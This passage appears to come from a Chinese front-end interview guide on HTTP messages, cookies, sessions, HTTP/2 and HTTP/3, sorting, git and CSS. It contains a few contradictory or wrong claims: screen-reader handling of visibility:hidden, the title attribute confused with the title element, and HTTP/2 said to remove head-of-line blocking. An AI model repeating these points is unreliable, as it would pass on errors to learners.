  • 再控时机:原生懒加载 loading="lazy" + decoding="async",首屏主图反过来用 fetchpriority="high" 预加载
  • 再管尺寸:<img> 必须写 width/height 或 aspect-ratio,否则图片加载完会把内容顶下去,CLS 直接爆掉
  • 响应式:srcset + sizes 让浏览器按 DPR 和视口自己挑,<picture> + type 做格式降级
  • 体验兜底:LQIP/BlurHash 占位图先撑住布局,再渐进替换成高清图
  • 最后才是 CDN 和缓存策略

我会从减少图片体积、控制加载时机和提高传输效率三个方向优化。 图片先按展示尺寸压缩,并根据内容选择 JPEG、PNG、WebP 或 SVG,避免小屏设备下载过大的资源。非可视区域使用懒加载,可能马上访问的下一组图片再按需预加载,同时借助 CDN 和浏览器缓存减少传输与重复请求。大量小图标还可以合并为精灵图,从而降低请求数量。

  • 使用图像压缩技术:通过使用图像压缩工具,如PhotoShop、TinyPNG等,将图片文件的大小减小,以减少加载时间。
  • 使用适当的图像格式:根据图像的特性选择合适的图像格式,如JPEG、PNG、WebP等。JPEG适用于照片和复杂图像,而PNG适用于简单的图标和透明图像。WebP是一种现代的图像格式,可以在保持良好质量的同时减小文件大小。
  • 图片CDN加速:使用内容分发网络(CDN)来加速图片的传输,将图片文件缓存到离用户更近的服务器,减少传输时间。
  • 图片延迟加载:采用图片懒加载技术,将页面上不可见区域的图片暂时不加载,当用户滚动页面至可见区域时再进行加载,以减少初始加载时间。
  • 使用CSS精灵图:将多个小图标或背景图片合并为一张大图,并利用CSS的background-position来定位显示需要的部分,减少HTTP请求的数量。
  • 使用矢量图形:使用矢量图形(如SVG)代替位图,以减小文件大小并保持清晰度,适用于简单的图形和图标。
  • 响应式图片:针对不同的设备和屏幕尺寸提供适当大小的图片,以避免在小屏幕设备上加载过大的图片。
  • 图片懒加载、预加载:根据用户的浏览行为,提前加载下一页或下一组图片,以提高用户体验和流畅度。
  • 图片缓存:设置适当的缓存策略,让浏览器在首次加载后对图片进行缓存,减少重复加载的次数。

综合应用这些优化技术可以减小图片的加载大小和加载时间,提升网页的加载速度,给用户更好的体验。

# 34 常见排序算法的时间复杂度,空间复杂度

⚡ 30 秒速记

  • 这题属于算法范畴,放在 HTML/HTTP 章节只是历史遗留,系统复习请看算法专栏
  • 必须记牢的三个 O(n log n):快排(平均 n log n,最坏 n²,空间 log n,不稳定)、归并(稳定 n log n,空间 O(n))、堆排(n log n,空间 O(1),不稳定)
  • O(n²) 三兄弟:冒泡、选择、插入。其中插入排序对基本有序的数据接近 O(n),V8 的小数组排序就用它
  • 稳定性口诀:冒泡、插入、归并稳定;选择、快排、堆排不稳定
  • 前端场景:Array.prototype.sort 在 V8 里是 TimSort(归并 + 插入的混合),规范要求稳定

常见排序中,冒泡、插入和选择排序通常是 O(n^2) 时间、O(1) 空间,而快排、归并和堆排通常能做到 O(nlogn) 时间。 冒泡和插入在最好情况下可到 O(n),选择排序仍是 O(n^2)。快排最坏会退化到 O(n^2),空间复杂度最好为 O(logn)、平均和最坏为 O(n);归并需要 O(n) 额外空间,堆排只需 O(1)。计数排序适合计数范围明确的场景,时间为 O(n+k)、空间为 O(k)。

下面是一些常见的排序算法及其时间复杂度和空间复杂度的概述:

  1. 冒泡排序(Bubble Sort):
  • 时间复杂度:最好情况下O(n),平均和最坏情况下O(n^2)
  • 空间复杂度:O(1)
  1. 插入排序(Insertion Sort):
  • 时间复杂度:最好情况下O(n),平均和最坏情况下O(n^2)
  • 空间复杂度:O(1)
  1. 选择排序(Selection Sort):
  • 时间复杂度:最好情况下O(n^2),平均和最坏情况下O(n^2)
  • 空间复杂度:O(1)
  1. 快速排序(Quick Sort):
  • 时间复杂度:最好情况下O(nlogn),平均情况下O(nlogn),最坏情况下O(n^2)
  • 空间复杂度:最好情况下O(logn),平均和最坏情况下O(n)
  1. 归并排序(Merge Sort):
  • 时间复杂度:最好情况下O(nlogn),平均情况下O(nlogn),最坏情况下O(nlogn)
  • 空间复杂度:O(n)
  1. 堆排序(Heap Sort):
  • 时间复杂度:最好情况下O(nlogn),平均情况下O(nlogn),最坏情况下O(nlogn)
  • 空间复杂度:O(1)
  1. 希尔排序(Shell Sort):
  • 时间复杂度:取决于所选的间隔序列,最好情况下O(nlogn),平均和最坏情况下根据间隔序列的选择而不同
  • 空间复杂度:O(1)
  1. 计数排序(Counting Sort):
  • 时间复杂度:最好情况下O(n+k),平均和最坏情况下O(n+k)
  • 空间复杂度:O(k),其中 k 是计数范围
  1. 桶排序(Bucket Sort):
  • 时间复杂度:最好情况下O(n+k),平均和最坏情况下根据桶的数量和排序算法的选择而不同
  • 空间复杂度:O(n+k)
  1. 基数排序(Radix Sort):
  • 时间复杂度:最好情况下O(nk),平均和最坏情况下O(nk)
  • 空间复杂度:O(n+k)

# 35 web开发中会话跟踪的方法有哪些

⚡ 30 秒速记

  • 四种:cookie(最常用)、session(服务端存状态,靠 cookie 传 sessionId)、URL 重写(把 sessionId 拼在 URL 上)、隐藏表单域
  • 前后端分离时代的主流:Token(JWT)放在 Authorization 头里,服务端无状态,天然跨域、易水平扩展
  • cookie + session 的痛点:多机部署要处理 session 共享(Redis 集中存储)、跨域麻烦
  • JWT 的痛点:签发后无法主动作废(要配黑名单或短过期 + refresh token)
  • 安全上:会话标识必须 HttpOnly + Secure + SameSite,防 XSS 窃取和 CSRF

会话跟踪常用 Cookie 配合 Session,也可以通过 URL 重写、隐藏表单字段或客户端 IP 传递和识别会话。 Cookie 会由浏览器自动携带会话标识,服务器再用该标识关联保存在服务端的会话数据。禁用 Cookie 时可以把会话标识放进 URL 或隐藏 input,但前者会拉长地址并暴露会话信息,后者主要适用于表单提交。单靠 IP 并不可靠,因为多个用户可能共享同一个出口地址。

  • Cookie: 使用Cookie是最常见的会话跟踪方法之一。服务器在响应中设置一个包含会话ID的Cookie,然后在后续的请求中,浏览器会自动将该Cookie发送回服务器,以标识用户的会话。
  • Session: 服务器使用会话来跟踪用户的状态。每个会话都会分配一个唯一的会话ID,该ID通常存储在Cookie中或通过URL重写传递给服务器。服务器使用会话ID来关联用户的请求,并在服务器端存储会话数据。
  • URL重写: 将会话ID作为查询参数添加到URL中,以便在每个请求中传递会话信息。这种方法不需要依赖Cookie,适用于禁用Cookie的情况,但会增加URL的长度并暴露会话信息。
  • 隐藏input: 在表单中添加一个隐藏的input字段,将会话ID作为其值传递给服务器。服务器接收到请求时可以通过解析请求参数获取会话ID,以进行会话跟踪。
  • IP地址: 使用客户端的IP地址作为会话跟踪的依据。服务器根据不同的IP地址来区分不同的用户,并跟踪他们的会话状态。然而,由于多个用户可能共享相同的IP地址(如在同一局域网内),这种方法可能不准确。

这些方法可以单独或结合使用,根据实际需求和安全考虑选择适当的会话跟踪方法。

# 36 HTTP request报文结构是怎样的

⚡ 30 秒速记

  • 四段:请求行 + 请求头 + 空行 + 请求体
  • 请求行:方法 + 路径(含查询串) + 协议版本,如 GET /api/users?id=1 HTTP/1.1
  • 常见请求头:Host(必需)、User-Agent、Accept、Content-Type、Content-Length、Cookie、Authorization、Referer
  • 空行是分隔符,缺了报文就解析不了
  • 请求体只有 POST/PUT/PATCH 这类方法才有;GET 的参数在 URL 里
  • 注意 HTTP/2 之后报文改成二进制分帧了,头部走 HPACK 压缩,上面这套是 HTTP/1.1 的文本格式

HTTP/1.1 请求报文由请求行、请求头、空行和可选的请求体组成。 请求行包含请求方法、请求 URI 和协议版本,并以 CRLF 结束。后面可以有多行请求头,每行同样以 CRLF 结束,再用一个空行与请求体分隔。像 GET 请求可能没有请求体,而提交数据时可以携带消息实体。

  1. 首行是Request-Line包括:请求方法,请求URI,协议版本,CRLF
  2. 首行之后是若干行请求头,包括general-header,request-header或者entity-header,每个一行以CRLF结束
  3. 请求头和消息实体之间有一个CRLF分隔
  4. 根据实际请求需要可能包含一个消息实体 一个请求报文例子如下:
GET /Protocols/rfc2616/rfc2616-sec5.html HTTP/1.1
Host: www.w3.org
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Referer: https://www.google.com.hk/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: authorstyle=yes
If-None-Match: "2cc8-3e3073913b100"
If-Modified-Since: Wed, 01 Sep 2004 13:24:52 GMT

name=qiu&age=25

💬 面试官追问

  • 网关抓到一段 HTTP/1.1 请求,首行后直接出现 JSON,没有空行分隔请求头和实体,后端为什么可能把它判成畸形报文?

    HTTP/1.1 请求先是请求行,再是逐行的请求头,头部与消息实体之间必须用一个空行分隔,也就是连续的 CRLF。缺少该分隔时,解析器可能把 JSON 当成头字段或等待更多数据;修复时应由成熟客户端生成报文,避免手工拼接。

  • 你在终端手工构造 POST /users HTTP/1.1,请求行只写了路径和协议版本,却收到 400,最先应核对哪些结构字段?

    请求行必须依次包含请求方法、请求目标和协议版本,并以 CRLF 结束;HTTP/1.1 请求还应提供合法的 Host 头。随后检查每个请求头的行结束符、头体空行及实体长度是否一致,任一结构错误都可能让服务器拒绝解析。

  • 同一个上传接口有时发送空实体、有时发送表单内容,团队认为所有请求都必须包含消息体,这会造成什么误判?

    消息实体是按请求需要可选的,请求方法和接口语义决定是否携带,而不是报文固定组成。即使没有实体,请求行、请求头和头部终止空行仍需正确;有实体时还要让接收端能确定边界,否则可能出现截断或持续等待。

  • 线上登录偶发返回 431 或 400,应用日志还没进入业务处理,浏览器请求里积累了大量 Cookie,你会怎样排查?

    先检查反向代理和应用服务器的请求头大小限制,并统计 Cookie 及其他头字段的实际体积。规范未统一规定实现上限,超限可能在业务代码前被拒绝;应清理无效 Cookie、收窄作用域,谨慎调大限制以免放大资源消耗风险。

  • 抓包工具显示 HTTP/2 使用二进制帧,但 DevTools 仍按请求行、请求头和正文展示,排障时该以哪个视图理解报文?

    DevTools 展示的是便于阅读的逻辑请求信息,不代表线上仍按 HTTP/1.1 文本格式传输。HTTP/2 会把信息编码为二进制帧并压缩头部;排查字段语义可看开发者工具,分析分帧、复用或协议错误则应查看实际协议与抓包结果。

# 37 HTTP response报文结构是怎样的

⚡ 30 秒速记

  • 四段:状态行 + 响应头 + 空行 + 响应体
  • 状态行:协议版本 + 状态码 + 状态短语,如 HTTP/1.1 200 OK
  • 常见响应头:Content-Type、Content-Length、Cache-Control、ETag、Last-Modified、Set-Cookie、Location(重定向用)、Access-Control-Allow-Origin
  • 响应体不是必有:204 和 304 明确规定没有响应体
  • 和请求报文对称记忆:只有第一行不一样(请求行 vs 状态行)

HTTP/1.1 响应报文由状态行、响应头、空行和可选的响应体组成。 状态行包含协议版本、状态码和状态描述,并以 CRLF 结束。随后是若干响应头,再通过一个 CRLF 空行与响应体分开。响应体可以承载 HTML、JSON 等内容,但是否存在要看具体响应。

  • 首行是状态行包括:HTTP版本,状态码,状态描述,后面跟一个CRLF
  • 首行之后是若干行响应头,包括:通用头部,响应头部,实体头部
  • 响应头部和响应实体之间用一个CRLF空行分隔
  • 最后是一个可能的消息实体

响应报文例子如下:

HTTP/1.1 200 OK
Date: Tue, 08 Jul 2014 05:28:43 GMT
Server: Apache/2
Last-Modified: Wed, 01 Sep 2004 13:24:52 GMT
ETag: "40d7-3e3073913b100"
Accept-Ranges: bytes
Content-Length: 16599
Cache-Control: max-age=21600
Expires: Tue, 08 Jul 2014 11:28:43 GMT
P3P: policyref="http://www.w3.org/2001/05/P3P/p3p.xml"
Content-Type: text/html; charset=iso-8859-1

{"name": "qiu", "age": 25}

# 38 title与h1的区别、b与strong的区别、i与em的区别

⚡ 30 秒速记

  • title vs h1:title 在 head 里,给搜索引擎和浏览器标签页看,全站唯一;h1 在 body 里,是页面主标题,给用户和爬虫看内容结构。两者可以不同,title 通常更长且带品牌词
  • b vs strong:b 只是视觉加粗,没有语义;strong 表示"内容重要",读屏器会加重语气
  • i vs em:i 只是视觉斜体(常用于术语、外文);em 表示"语气强调",读屏器会改变语调
  • 一句概括:b/i 只管样式,strong/em 带语义。要样式用 CSS,要语义才用标签

<title> 表示页面标题,<h1> 表示内容主标题;<b>、<i>偏展示,<strong>、<em>带有强调语义。 <h1>参与文档层级,搜索引擎通常会把它视为页面主要标题,而 <title>用于页面本身的标题。<b>和<i>主要改变粗体、斜体外观,不表达强调。需要让辅助工具识别重要性或强调语气时,应选<strong>或<em>。

  • title属性用于提供元素的额外信息,通常以工具提示的形式显示。它没有语义化的意义,仅表示一个标题或描述性文本。它在SEO中没有直接影响,但可以提供更好的用户体验和辅助工具提示。
  • <h1>是HTML中的标题元素,用于表示页面的主标题。它具有层次结构,表示文档的结构和内容。搜索引擎通常会将<h1>标签中的文本作为页面的主要标题,并根据其重要性进行权重分配。
  • <b>是用于粗体显示文本的HTML元素,仅仅表示展示的效果,没有语义上的强调意义。在使用屏幕阅读器等辅助工具阅读网页时,<b>不会改变读取方式,仅仅呈现粗体效果。
  • <strong>是表示文本的强调元素,具有语义化的含义,用于强调重要内容。在屏幕阅读器等辅助工具中,会以更加强调的方式读取<strong>标签中的文本,传达给用户更强的语气。
  • <i>用于将文本显示为斜体,仅表示展示的效果,没有语义上的强调意义。
  • <em>表示强调的文本,具有语义化的含义,用于强调某些内容。在屏幕阅读器等辅助工具中,会以更加强调的方式读取<em>标签中的文本,传达给用户更强的强调效果。

总结:

  • <title>和<h1>在语义化和SEO方面有区别,一个用于页面标题,一个用于内容标题。
  • <b>和<strong>都可以用于加粗文本,但<strong>具有语义化的强调效果。
  • <i>和<em>都可以用于斜体文本,但<em>具有语义化的强调效果。

💬 面试官追问

  • 商品详情页为了统一视觉,把页面名称只写进 <title>,正文顶部用普通 <div> 模拟大标题;搜索结果正常,但读屏用户进入页面后难以定位主题,你会判定哪里有问题?

    问题在于 <title> 负责页面级标题信息,不能替代正文中的 <h1>。正文主标题应使用 <h1> 建立文档层次,样式再交给 CSS;只用 <div> 会丢失标题语义,辅助工具和搜索引擎都更难识别内容结构。

  • 运营要求文章里所有红色警告都用 <b> 加粗,组件库则坚持改成 <strong>;如果这些文字表示付款风险,你支持哪一方?

    付款风险属于重要内容,应使用 <strong>,再通过 CSS 控制颜色和字重。<b>主要带来视觉上的粗体,不表达重要性;若只是商品名或关键词需要醒目而不存在强调语义,使用 <b>反而更贴切。

  • 设计稿把术语、引用语气和必须立即处理的提示都画成斜体,开发准备统一输出 <i>;面对这三类内容,你会怎样拆分?

    不能因视觉效果相同就统一使用 <i>。普通斜体展示可用 <i>,真正需要强调语气的提示应使用 <em>;最终是否倾斜仍由样式决定,否则改版取消斜体时,错误的语义结构仍会保留下来。

  • 线上文章页肉眼看起来标题、加粗和斜体都正常,但无障碍测试反馈重点信息没有被强调;你会优先检查哪些代码现象?

    我会先检查是否用 <div>、<b>、<i>承担了主标题和语义强调,再核对页面是否存在明确的 <h1>、<strong>与 <em>。视觉正常只能证明样式生效,不能证明文档结构正确;辅助工具的具体朗读方式还会受实现差异影响。

  • 一个内容管理系统只能让编辑选择“粗体”和“斜体”,却无法判断文字是装饰还是强调;你会直接把它们映射成 <strong> 和 <em>吗?

    不应把所有视觉格式直接映射为语义强调,因为编辑选择粗体或斜体未必表示内容重要。可保留 <b>、<i>作为展示选项,并另设“重要”和“强调”能力输出 <strong>、<em>;代价是编辑器模型和迁移规则会更复杂。

# 39 请你谈谈Cookie的弊端

⚡ 30 秒速记

  • 体积小:单个约 4KB,数量也有上限(每域约 50 个)
  • 每次请求自动携带,同域下所有请求都要背着它,浪费带宽(静态资源域名要 cookie-free 就是这个原因)
  • 安全风险:不设 HttpOnly 会被 XSS 直接读走;不设 SameSite 会被 CSRF 利用
  • 跨域受限:默认不跨域,跨站携带还要 SameSite=None; Secure
  • 隐私合规:第三方 cookie 正在被主流浏览器淘汰,广告归因方案在重做
  • 对策:敏感标识用 HttpOnly + Secure + SameSite;大数据放 localStorage/IndexedDB,别塞 cookie

Cookie 的主要弊端是容量和数量受限、会随请求传输,并且存在安全与跨域限制。 单个 Cookie 通常只有约 4096 字节,各浏览器对同域数量也有限制,因此不适合存放大量数据。它会增加同域请求的传输开销,存储在客户端还可能因拦截而泄露 session 等信息。较大的客户端数据可考虑 localStorage、sessionStorage 或服务器端存储,但要按使用场景取舍。

cookie虽然在存储客户端数据方面提供了方便,并减轻了服务器的负担,但它也存在一些弊端和限制,包括:

  • 数量限制:每个特定域名下的cookie数量有限。例如,旧版的IE6最多允许20个cookie,而IE7及更高版本允许50个cookie,其他浏览器也有类似的限制。
  • 大小限制:每个cookie的大小也有限制,通常为约4096字节(不同浏览器可能有差异),为了兼容性,一般建议将cookie大小控制在4095字节以内。
  • 清理策略:一些浏览器会根据策略清理过期或不常使用的cookie,这可能会导致某些数据丢失或需要重新设置。
  • 安全性问题:cookie存储在客户端,如果被恶意拦截,攻击者可以获取其中的数据,包括session信息,可能导致安全隐患。
  • 跨域限制:cookie在同源策略下工作,无法跨域访问。每个域名下的cookie只能被同域名的页面访问和修改。
  • 对网络性能的影响:cookie会增加每个请求的数据量,从而增加了网络传输的开销,尤其在请求大量静态资源的网页时,会对加载速度产生一定的影响。

要解决这些问题,可以使用其他存储方式,如localStorage或sessionStorage,使用服务器端存储来替代部分或全部cookie,或者通过其他技术手段来优化和管理cookie的使用。

💬 面试官追问

  • 登录系统准备把完整用户资料序列化进一个 cookie,单条数据接近 4 KB,研发说浏览器能存就没有问题;你会接受这个设计吗?

    不会,单个 cookie通常只有约 4096 字节的容量,兼容设计还应留出属性和编码带来的余量。用户资料应主要保存在服务端,客户端只保留必要标识;继续膨胀可能导致写入失败、截断或不同浏览器表现不一致。

  • 电商首页有上百个静态资源请求,而主域名下积累了多个体积较大的 cookie;性能排查发现请求头持续偏大,你会如何落地优化?

    应先删减无用字段、缩短必要值,并避免让静态资源请求携带业务 cookie。可将静态资源放到不需要这些凭据的域名或路径策略下,同时把大块状态迁到服务端或适合的客户端存储;迁移前要确认数据是否必须随请求发送。

  • 产品要求购物车状态永不丢失,计划只写长期 cookie;但浏览器可能按策略清理过期或长期不用的数据,你会怎样调整承诺和实现?

    不能把客户端 cookie当作永久可靠的数据源,因为它可能被用户或浏览器策略清理。已登录用户的购物车应以服务端存储为准,客户端仅用于标识或临时恢复;匿名场景仍需接受数据可能丢失,并向产品明确这一边界。

  • 线上出现少量用户会话被冒用,排查发现会话标识直接保存在客户端 cookie 中;仅把值改成加密文本,能否解决风险?

    仅加密不能消除被窃取后重放会话的风险,因为攻击者未必需要读懂标识。应避免存放敏感明文,采用安全传输并缩短会话有效期,同时在服务端支持失效和异常校验;客户端凭据一旦泄露,仍需按会话泄露处理。

  • 两个独立业务域名要共享登录态,架构师提议前端直接读取彼此的 cookie;你会怎样判断并给出替代边界?

    前端不能直接跨域读取和修改另一个域名的 cookie,这是其作用域限制。共享登录应通过统一认证服务和服务端交换结果设计,而不是扩大客户端数据暴露;若只是同一域名下的子路径或子域,还需按实际作用域谨慎配置。

# 40 git fetch和git pull的区别

⚡ 30 秒速记

  • 这题属于工程工具范畴,和 HTML/HTTP 无关,放这里是历史遗留
  • git fetch:只把远端的提交拉到本地远程分支(origin/main),不动你的工作区,安全
  • git pull = git fetch + git merge,会直接改你的工作区
  • git pull --rebase = git fetch + git rebase,历史更线性,但会改写提交
  • 实践建议:先 fetch 看清楚差异再决定 merge 还是 rebase,避免莫名其妙的合并提交和冲突

git fetch只下载远程更新,不改当前分支;git pull会下载并直接合并到当前分支。 本质上,git pull相当于连续执行git fetch和git merge,所以用起来更省步骤,但也可能马上进入冲突处理。想先比较本地与远程的差异时,我一般用git fetch;确认更新可以安全合入后,再手动决定如何合并。

  • git pull:执行git pull命令时,Git会自动从远程仓库下载最新的提交并将其合并到当前分支。它是git fetch和git merge两个操作的组合。它会自动将远程仓库的更新合并到当前分支,并自动解决可能的冲突。一般情况下,使用git pull可以快速获取远程最新代码并合并到本地分支。
  • git fetch:执行git fetch命令时,Git会从远程仓库下载最新的提交,但不会自动将其合并到当前分支。它只是将远程仓库的最新代码下载到本地,并更新本地仓库中远程分支的指针位置。这样,你可以在本地查看远程仓库的更新情况,进行代码比较或其他操作。但它不会修改你当前所在的分支。

总结:git pull是直接从远程仓库获取最新代码并合并到当前分支,而git fetch只是获取最新代码到本地,并不会自动合并。使用git pull可以更方便地获取最新代码并更新本地分支,而git fetch适合查看远程仓库的更新情况,进行代码比较或其他操作。

# 41 http2.0 做了哪些改进 http3.0 呢

⚡ 30 秒速记

  • HTTP/2 相对 1.1 的四点:二进制分帧(不再是文本)、多路复用(一条连接跑多个请求,解决队头阻塞)、头部压缩 HPACK、服务端推送(已被主流浏览器废弃)
  • 多路复用带来的连锁反应:雪碧图、域名分片、资源合并这些 1.1 时代的优化手段全部失效甚至变成负优化
  • HTTP/2 没解决的问题:多路复用只解决了 HTTP 层的队头阻塞,TCP 层丢一个包后面全等着
  • HTTP/3 的答案:底层从 TCP 换成基于 UDP 的 QUIC,把重传和拥塞控制搬到用户态,彻底消除 TCP 队头阻塞
  • QUIC 顺带的好处:0-RTT 建连、连接迁移(切 WiFi/4G 不断连,靠 Connection ID 而不是四元组)

HTTP/2重点优化一个连接内的传输效率,HTTP/3则改用基于UDP的QUIC继续解决传输层问题。 HTTP/2通过二进制分帧和多路复用并行传输请求,再用HPACK压缩重复头部,也支持服务器推送。它仍基于TCP,丢包时可能出现队头阻塞。HTTP/3让不同流互不拖累,并通过连接ID支持网络切换时的连接迁移,拥塞控制也更灵活。

HTTP/2 的特性包括:

1. 二进制分帧

  • HTTP/1.x:基于文本格式,报文以明文形式传输,解析过程复杂且容易出错,效率较低。
  • HTTP/2:采用二进制分帧层,将所有传输的信息分割为更小的帧,并对这些帧进行二进制编码。帧是 HTTP/2 数据传输的最小单位,包括头帧和数据帧等。这种二进制分帧的方式使得协议的解析更加高效、准确,提高了数据传输的性能。

2. 多路复用

  • HTTP/1.x:同一时间一个连接只能处理一个请求,当有多个请求时,需要依次排队等待处理,容易出现“队头阻塞”问题,即一个请求阻塞会影响后续请求的处理。
  • HTTP/2:通过多路复用机制,允许在一个连接上同时并行处理多个请求和响应。每个请求和响应被拆分成多个独立的帧,这些帧可以在连接上乱序发送和接收,然后在另一端根据帧的标识进行重新组装。这样可以充分利用网络带宽,提高连接的利用率,避免了“队头阻塞”问题。

3. 头部压缩

  • HTTP/1.x:请求和响应的头部信息通常以明文形式重复传输,包含了很多重复的字段,如 User - Agent、Cookie 等,会占用大量的带宽。
  • HTTP/2:采用 HPACK 算法对头部信息进行压缩。HPACK 会维护一个静态表和一个动态表,对于重复出现的头部字段,只需要在表中存储一次,后续传输时只需传输对应的索引,从而大大减少了头部信息的传输量,降低了带宽消耗。

4. 服务器推送

  • HTTP/1.x:客户端需要明确请求服务器上的资源,服务器只能被动响应客户端的请求,无法主动向客户端推送资源。
  • HTTP/2:支持服务器推送功能,服务器可以在客户端请求某个资源时,主动将客户端可能需要的其他资源一起推送给客户端。例如,当客户端请求一个 HTML 页面时,服务器可以同时推送该页面所需的 CSS、JavaScript 等资源,减少了客户端的请求次数,提高了页面的加载速度。

而 HTTP/3 则是基于 QUIC 协议的新一代 HTTP 协议。QUIC 是一个基于 UDP 的传输协议,具有以下特性:

1. 基于 QUIC 协议

  • HTTP/2:仍然基于 TCP 协议,TCP 协议在处理丢包重传、拥塞控制等方面存在一些固有的问题,可能会导致“队头阻塞”问题,影响数据传输的性能。
  • HTTP/3:采用 QUIC(快速 UDP 互联网连接)协议作为传输层协议。QUIC 基于 UDP 实现,但在 UDP 的基础上增加了可靠传输、拥塞控制、加密等功能。QUIC 协议的连接建立速度更快,并且在丢包情况下不会影响其他流的传输,避免了 TCP 协议中的“队头阻塞”问题,进一步提高了数据传输的性能和可靠性。

2. 连接迁移

  • HTTP/2:基于 TCP 协议,TCP 连接依赖于源 IP 地址、目的 IP 地址、源端口和目的端口,当设备的网络环境发生变化(如从 Wi - Fi 切换到移动数据网络)时,TCP 连接会中断,需要重新建立连接,这可能会导致数据传输中断和延迟。
  • HTTP/3:QUIC 协议通过连接 ID 来标识连接,而不是依赖于 IP 地址和端口。当设备的网络环境发生变化时,只要连接 ID 不变,QUIC 连接可以保持不变,实现无缝的连接迁移,提高了用户体验。

3. 更灵活的拥塞控制

  • HTTP/2:TCP 协议的拥塞控制算法是固定的,不同的网络环境可能需要不同的拥塞控制策略,TCP 难以快速适应网络变化。
  • HTTP/3:QUIC 协议的拥塞控制更加灵活,可以根据不同的网络情况动态调整拥塞控制策略,更好地适应各种复杂的网络环境,提高数据传输的效率。

总结:HTTP/2 和 HTTP/3 都是在传输层进行的协议改进,HTTP/2 在 TCP 上引入了二进制分帧传输、多路复用、头部压缩和服务器推送等特性,而 HTTP/3 则是基于 UDP 的 QUIC 协议,引入了连接迁移、无队头阻塞、自定义拥塞控制和前向安全和前向纠错等新特性。

💬 面试官追问

  • 监控显示站点已启用 HTTP/2,但一次大文件传输丢包后,同一连接里的多个接口仍一起变慢;同事说多路复用已经彻底消除了队头阻塞,你怎么纠正?

    HTTP/2解决的是应用层请求按顺序占用连接的问题,但它仍运行在 TCP 上。底层字节流发生丢包时,后续数据仍可能等待重传,因此连接内多个流会受影响;要进一步隔离流之间的丢包影响,需要评估基于 QUIC 的 HTTP/3。

  • 一个首屏会并发请求几十个接口和资源,团队仍按 HTTP/1.x 的经验为每个请求新建连接;迁移到 HTTP/2 后,你会怎样调整连接策略?

    应优先复用同一连接,让不同请求和响应拆成帧后并行传输,并依据流标识在接收端重组。这样能提升连接利用率并减少应用层排队;若底层 TCP 丢包,连接级阻塞仍存在,不能把连接数简单压到一个就视为完成优化。

  • 某接口每次都携带大量重复的 Cookie 和 User-Agent,后端准备删除必要请求头来省流量;如果链路使用 HTTP/2,你会提出什么替代方案?

    不应为了节省带宽删除协议和业务必需的头部,而应利用 HTTP/2 的 HPACK 压缩。静态表和动态表可让重复字段后续主要传输索引;若头部本身包含不断变化的大值,压缩收益会受限,仍要从业务上控制其体积。

  • 移动端从公司 Wi-Fi 切到蜂窝网络后,长连接频繁中断并重新建立;服务端计划升级协议解决,你会如何比较 HTTP/2 与 HTTP/3?

    HTTP/2基于依赖地址和端口的 TCP 连接,网络切换通常需要重连。HTTP/3的 QUIC使用连接 ID 标识连接,具备连接迁移能力,更适合该场景;实际效果仍取决于客户端、服务端和网络链路是否完整支持。

  • 安全评审质疑 HTTP/3 基于 UDP,认为它既不可靠也没有拥塞控制;你会如何回应这个选型冲突?

    HTTP/3并非直接把应用数据裸放在 UDP 上,而是由 QUIC补充可靠传输、拥塞控制和加密等能力。它还能让不同流在丢包时减少相互阻塞,并更灵活地调整拥塞策略;代价是部署和链路兼容性需要单独验证。

# 二、CSS相关

# 1 css sprite是什么,有什么优缺点

⚡ 30 秒速记

  • 把多张小图拼成一张大图,用 background-position 定位显示其中一块
  • 优点(HTTP/1.1 时代):把 N 个请求压成 1 个,绕开同域 6 并发限制
  • 缺点:维护成本高(加一张图要重排整张)、内存占用按整图算、不好做响应式
  • 这题现在要反着答:HTTP/2 多路复用之后合并请求收益基本没了,雪碧图属于历史方案
  • 今天的替代:图标用 SVG sprite 或内联 SVG,需要动态换色就用 currentColor

CSS Sprite就是把多张小图合成一张大图,再用background-position和尺寸显示其中需要的区域。 这样能把多个图片请求合成一次,减少网络传输的次数和延迟,合并后的图片也可以统一压缩。它适合图标或背景图案较多、需要集中管理资源的页面。代价是拼图本身有工作量,修改其中一块时可能要重新排版大图,并同步调整对应的CSS。

CSS Sprite(CSS精灵)是一种将多个小图片合并到一张大图中的技术。通过在页面中引用这张大图,并设置合适的background-position和尺寸,可以显示出所需的小图标或背景图案。

优点:

  • 减少HTTP请求数:将多个小图片合并成一张大图,减少了浏览器与服务器之间的请求次数,提高了页面加载速度。
  • 提高性能:由于减少了请求数,减少了网络传输时间和延迟,加快了页面加载速度,提升了用户体验。
  • 减小图片大小:合并后的大图可以使用更高效的压缩算法进行压缩,减小了图片的文件大小。
  • 方便更换风格:只需要替换或修改一张大图中的小图标或背景图案,就可以改变整个页面的样式,维护和更换风格更加方便。

缺点:

  • 图片合并麻烦:合并图片需要手动调整和拼接小图标或背景图案,需要一定的工作量。
  • 维护麻烦:如果需要修改其中一个小图标或背景图案,可能需要重新布局整个大图,并且需要更新相应的CSS样式。

总结:CSS Sprite通过将多个小图片合并成一张大图,减少了HTTP请求,提高了页面加载速度和性能。它的优点包括减少请求数、提高性能、减小图片大小和方便更换风格。然而,它的缺点在于图片合并和维护的麻烦。

# 2 display: none;与visibility: hidden;的区别

⚡ 30 秒速记

  • display:none 不占位、不可点、读屏器跳过,改动触发重排
  • visibility:hidden 占位、不可点、读屏器跳过,改动触发重绘
  • opacity:0 占位、依然可点(幽灵按钮的来源)、读屏器会读,改动通常只触发合成
  • 做动画一律用 opacity + transform,因为只走合成层,能上 GPU
  • visibility 可继承且子元素能用 visibility:visible 单独"复活",display:none 的子元素则无论如何都出不来

display: none会让元素退出渲染树且不占空间,visibility: hidden只是隐藏内容,原来的位置还在。 前者通常会引起文档重排,而且子孙元素无法单独恢复显示;后者一般只触发重绘,子孙元素可设置visibility: visible重新显示。display不是继承属性,而visibility会继承。读屏器不会读取display: none的内容,但会读取visibility: hidden的内容,因此选择时还要考虑页面布局和辅助访问需求。

display: none;和visibility: hidden;都可以使元素不可见,但它们在实现上有一些区别。

区别:

  • display: none;会使元素完全从渲染树中消失,不占据任何空间,而visibility: hidden;不会使元素从渲染树中消失,仍然占据空间,只是内容不可见。
  • display: none;是非继承属性,子孙节点消失是因为元素本身从渲染树中消失,修改子孙节点的属性无法使其显示。而visibility: hidden;是继承属性,子孙节点消失是因为继承了hidden属性,通过设置visibility: visible;可以使子孙节点显示。
